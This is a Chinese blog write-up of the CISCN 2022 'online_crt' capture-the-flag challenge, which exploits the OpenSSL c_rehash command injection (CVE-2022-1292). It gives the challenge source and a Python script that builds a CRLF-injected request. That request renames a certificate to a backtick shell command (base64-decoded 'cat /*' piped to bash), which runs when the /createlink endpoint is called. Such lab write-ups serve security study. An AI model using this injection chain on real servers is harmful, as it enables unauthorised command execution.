[CISCN 2022 初赛]online_crt

[CISCN 2022 初赛]online_crt

image-20230619001441870

CVE-2022-1292:OpenSSL命令注入漏洞

原理:由于c_rehash 脚本没有正确清理 shell 元字符导致命令注入,可以利用该漏洞在未授权的情况下以脚本的权限执行任意命令。

下载得到附件中的源码:

import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)



@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

go源码:

package mainimport ("github.com/gin-gonic/gin""os""strings")func admin(c *gin.Context) {staticPath := "../static/crt/"oldname := c.DefaultQuery("oldname", "")newname := c.DefaultQuery("newname", "")if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {c.String(500, "error")return}if c.Request.URL.RawPath != "" && c.Request.Host == "admin"{err := os.Rename(staticPath+oldname, staticPath+newname)if err != nil {return}c.String(200, newname)return}c.String(200, "no")}func index(c *gin.Context) {c.String(200, "hello world")}func main() {router := gin.Default()router.GET("/", index)router.GET("/admin/rename", admin)if err := router.Run(":8887"); err != nil {panic(err)}}

通过以下点进行CRLF触发/admin/rename处修改crt文件名:

image-20230619002013168

/getcrt 是生成了一个SSL证书利用x509编码

/createlink调用c_rehash修改文件名创建SSL证书链接

/proxy代理访问内网8887端口的go服务

我的解题思路就是:

先使用/getcrt创建一个证书
然后通过/proxy修改文件名称为RCE的名称
用/creatlink查看证书的名字导致触发RCE

解题:

首先生成证书:

image-20230619002543774

然后利用脚本生成uri:

import urllib.parse
uri = '''/admin%2frename?oldname=ae918fb0-ae35-4dd5-8a18-805bee5d5847.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close'''
gopher = uri.replace("\n","\r\n")
playload = urllib.parse.quote(gopher)
print(playload)

image-20230619002813595

抓包修改为/proxy,并添加Content-Type:application/x-www-form-urlencoded

Content-Type是HTTP(超文本传输协议)头中的一个字段,用于指示发送给服务器请求正文的MIME类型。

该值"application/x-www-form-urlencoded"表示该请求主体使用URL编码格式。 这种编码格式通常用于HTML表单提交,其中表单参数被编码为键/值对,并作为多个字段之间的&分隔符传输。

image-20230619003133493

然后访问/createlink:

image-20230619003510163

访问static/crt/flag.txt:

image-20230619003603879

posted @ 2023-06-19 00:38  Magic水瓶  阅读(64)  评论(0)    收藏  举报